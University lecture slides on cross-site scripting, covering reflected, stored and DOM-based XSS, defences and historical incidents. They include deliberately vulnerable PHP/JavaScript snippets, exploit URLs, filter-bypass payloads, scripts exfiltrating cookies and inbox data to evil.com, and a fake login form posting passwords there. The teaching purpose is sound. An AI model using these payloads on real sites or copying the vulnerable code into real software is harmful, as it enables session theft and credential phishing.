Security II - Cross Site Scripting

Stefano Calzavara

Università Ca' Foscari Venezia

February 14, 2020

Università
Ca'Foscari
Venezia

Cross Site Scripting (XSS)

Cross Site Scripting (XSS) is the king of client-side security issues, since it allows the attacker to inject scripts on a vulnerable web application:

- when a malicious script runs in the target's origin, SOP is ineffective!
- the attack surface on real-world web applications is large and the defences are hard to deploy correctly
- most reported vulnerability on HackerOne in 2017 (see here)
- a traditional web attack: no network privileges are required

XSS: Overview

At a high level, XSS works as follows:

1. the attacker identifies a part of the target web application which processes user input (e.g., a search field)
2. the attacker discovers that the supplied user input can be eventually interpreted as a script (e.g., using his own browser)
3. since the script actually comes from the target web application, it runs in the same origin of the target

When the attack works, an arbitrary script can be injected!

XSS Exemplified: Search Field

```
<?php
    $term = $_REQUEST["search"];
    $results = lookup_db(term);
    $line = "Your search for '". $term. "' found about ";
    $line = $line. count($results). " results";
    echo ($line);
?>
```

Search term: cats

Your search for 'cats' found about 1,130,000 results.

Search term: dogs

Your search for 'dogs' found about 870,000 results.

XSS Exemplified: Search Field

```
<?php
    $term = $_REQUEST["search"];
    $results = lookup_db(term);
    $line = "Your search for '". $term. "' found about ";
    $line = $line. count($results). " results";
    echo ($line);
?>
```

Search term: pets

Your search for '**pets**' found about 2,150,000 results.

Search term: <script>alert(1)</script>

Your search for BOOM!!!

XSS Exemplified: Error Pages

We don't want users to get lost on our site, isn't it?

```
<?php
    $line = "The URL ". $_SERVER['REQUEST_URI'];
    $line = $line. " could not be found";
    echo ($line);
?>
```

But the attacker would be happy to send users here:

```
https://vuln.com/error.php?a=<script>alert(1)</script>
```

The Dangers of XSS

To understand why XSS is nasty, observe that SOP is entirely bypassed when an attacker-controlled script is injected in the target's origin!

```
<script>
    x = document.cookie;
    u = "https://evil.com/leak.php?ck=" + x;
    document.write("<img src='" + u + "'/>");
</script>
```

Possible mitigation: HttpOnly attribute on session cookies.

The Dangers of XSS

Protecting session cookies with the HttpOnly attribute is useful, but...

```
<script>
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        var m = xhttp.responseText;
        var img = document.createElement("img");
        img.src = "https://evil.com/leak.php?data=" + m;
    };
    xhttp.open("GET", "https://vuln.com/inbox.php");
    xhttp.send();
</script>
```

XSS Categories

Type of Flaw

- Reflected XSS: happens when web applications immediately echo back to the client untrusted user input
- Stored XSS: happens when web applications store untrusted user input and automatically echo it back later

Location of Flaw

- Server-side XSS: vulnerable code on the server (traditional XSS)
- Client-side XSS: vulnerable code on the client (DOM-based XSS)

Reflected Server-Side XSS

Back to our search field: how can we exploit the reflected XSS?

Exploit

If the search field is based on GET requests, just send this link around, e.g., by email or over bulletin boards:

`https://www.vuln.com/index.php?search=<script>...</script>`

Alert!

Of course, a bit of social engineering might be useful to fool into clicking the link. Also, a URL shortener can make the attack harder to detect.

Reflected Server-Side XSS

Exploit

If the search engine is based on POST requests, just craft the following HTML page and send around a link to it:

```
<html>
   <body onload="document.exploit.submit();">
      <form name="exploit"
            method="post"
            action="https://www.vuln.com/index.php">
         <input name="search" value="<script>...</script>"/>
      </form>
   </body>
</html>
```

Stored Server-Side XSS

Let's move now to our preferred e-commerce website!

Traditional Review

Original text: I enjoyed this book, it was great!
Rendered text: I enjoyed this book, it was great!

Hipster Review

Original text: I enjoyed this book, it was brilliant!
Rendered text: I enjoyed this book, it was **brilliant!**

Do you see how to change the hipster review into malicious code?

Client-Side XSS

Nice, innocent idea: let's pick the background colour of our website from the query string to provide a personalized user experience.

```
<script type="text/javascript">
   document.write('<body');
   var color = document.location.search.substring(1);
   document.write(' style="background-color:' + color + '">');
</script>
```

Pro tip: Easter eggs are great for security!

Client-Side XSS

How to attack this code?

```
<script type="text/javascript">
   document.write('<body');
   var color = document.location.search.substring(1);
   document.write(' style="background-color:' + color + '">');
</script>
```

Client-Side XSS

How to attack this code?

```
<script type="text/javascript">
   document.write('<body');
   var color = document.location.search.substring(1);
   document.write(' style="background-color:' + color + '">');
</script>
```

Exploit

```
https://www.vuln.com?red"><script>...</script><img%20src="
```

Client-Side XSS: Sources

Besides the query string, there are other sources of DOM-based XSS:

- the fragment identifier #, accessible via `location.hash`
- response bodies of XHRs, which are appealing for web attackers
- cookies, e.g., when the attacker has network capabilities
- web storage (and most prominently local storage)

The more logic is pushed into the client, the more DOM-based XSS becomes prevalent!

Client-Side XSS: Sinks

All of the following are sinks enabling DOM-based XSS:

- `document.write`, `document.writeln`: these can write new script tags in the DOM, which will be executed
- `eval`, `setTimeout`, `setInterval`: these can directly pick strings and translate them into executable JavaScript code
- `innerHTML`, `outerHTML`: these will not execute any injected script tag, but are still dangerous because event handlers still work (for example, `<img src="not-exists" onerror="alert(1)"/>`)

XSS Categories: Summary

Reflected server-side XSS:

- User must visit malicious link
- No persistent change to the server

Stored server-side XSS:

- Attacker can store malicious payload on server
- Every user of the site affected on every visit

Reflected client-side XSS:

- User must visit malicious link
- No persistent change to the client

Stored client-side XSS:

- User must visit malicious link, but just once
- Single user of the site affected on every visit

Quiz Time!

Can you attack this?

```
<?php
// load avatar
$usr = $_GET["user"];
echo "<img src='//avatar.com/img.php?user=" . $usr . "'>";
?>
```

Quiz Time!

Can you attack this?

```
<?php
// load avatar
$usr = $_GET["user"];
echo "<img src='//avatar.com/img.php?user=" . $usr . "'>";
?>
```

Exploit

```
https://vuln.com/?user='><script>alert(1)</script>
```

Quiz Time Again!

Can you attack this?

```
<script>
var username="<?=$_GET["user"]?>";
// something meaningful with the user name here
</script>
```

Quiz Time Again!

Can you attack this?

```
<script>
var username="<?=$_GET["user"]?>";
// something meaningful with the user name here
</script>
```

Exploit

```
https://vuln.com/?user="</script><script>alert(1)</script>
```

Quiz Time Again!

Can you attack this?

```
<script>
var username="<?=$_GET["user"]?>";
// something meaningful with the user name here
</script>
```

Exploit

```
https://vuln.com/?user="</script><script>alert(1)</script>
```

Shorter Exploit

```
https://vuln.com/?user="; alert(1)
```

XSS Alternative: Markup Injection

The same vulnerability leading to script injection (XSS) can actually be exploited to inject arbitrary HTML: this is called markup injection.

Example

```
<form method="post" action="https://www.evil.com/pwd.php">
   You have been logged out due to inactivity. <br/>
   Username: <input name="usr" type="text"/> <br/>
   Password: <input name="pwd" type="password"/> <br/>
   <input type="submit" value="Login"/>
</form>
```

XSS Defences: Output Encoding

The simplest way to ensure users can only add plain text rather than code to the application's output is to encode their input before it's displayed.

Example

Use <b> to make your text bold.

Luckily, you are not forced to do this encoding by yourself: for example, PHP offers the `htmlspecialchars` function for this purpose.

XSS Defences: Output Encoding

Safe Output Channels

For some types of outputs, you can find safe channels which do not require encoding. For example, you can safely add text to your HTML page by using `document.innerText` rather than `document.innerHTML`.

Alert!

Notice that different types of outputs require different types of encoding! For example, if you write user input into the query string, you should first perform the URL encoding of the input (see `urlencode` in PHP).

XSS Defences: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`

XSS Defences: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`

XSS Defences: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`

XSS Defences: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`
- `<scr<script></script>ipt>...</scr<script></script>ipt>`

XSS Defences: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`
- `<scr<script></script>ipt>...</scr<script></script>ipt>`
- `<img src="foo.jpeg" onload="alert(1)">`

XSS Defences: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`
- `<scr<script></script>ipt>...</scr<script></script>ipt>`
- `<img src="foo.jpeg" onload="alert(1)">`
- `Hello <b onmouseover="alert(1)">world</b>!`

XSS Defences: Input Sanitization

Another way to defend against XSS is to sanitize the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`
- `<scr<script></script>ipt>...</scr<script></script>ipt>`
- `<img src="foo.jpeg" onload="alert(1)">`
- `Hello <b onmouseover="alert(1)">world</b>!`
- `<a href="javascript:alert(1)">Click me!</a>`

Output Encoding or Input Sanitization?

Output Encoding

- very easy to use
- solves the root cause of the security vulnerability
- sometimes restrictive

Input Sanitization

- don't do it by yourself!
- some attacks like markup injection might still be there
- sometimes necessary

Real-world experience: secure web applications typically use both, and possibly rely on reduced markup languages which are easy to sanitize!

A Bit of History: Samy (2005)

Samy was a worm enabled by a stored server-side XSS on MySpace:

1. MySpace users can post HTML on their profile pages
2. MySpace ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`, etc.
3. but accepts Javascript within CSS tags:
   `<div style="background:url('javascript:alert(1)')">`
4. and `'javascript:'` can be hidden as `'java\nscript:'`

Samy forced all visitors of an infected MySpace page to add the worm creator as a friend :)

A Bit of History: Ubuntu Forums (2013)

The attack was enabled by a stored server-side XSS in vBulletin:

1. vBulletin allowed unfiltered HTML in its default configuration
2. Attacker crafted malicious announcement and sent link to admins
3. The injected JavaScript code stole session cookies from admins
4. Given elevated privileges, the attacker could upload PHP shell

The attacker eventually dumped the users database and left defacement on the main page...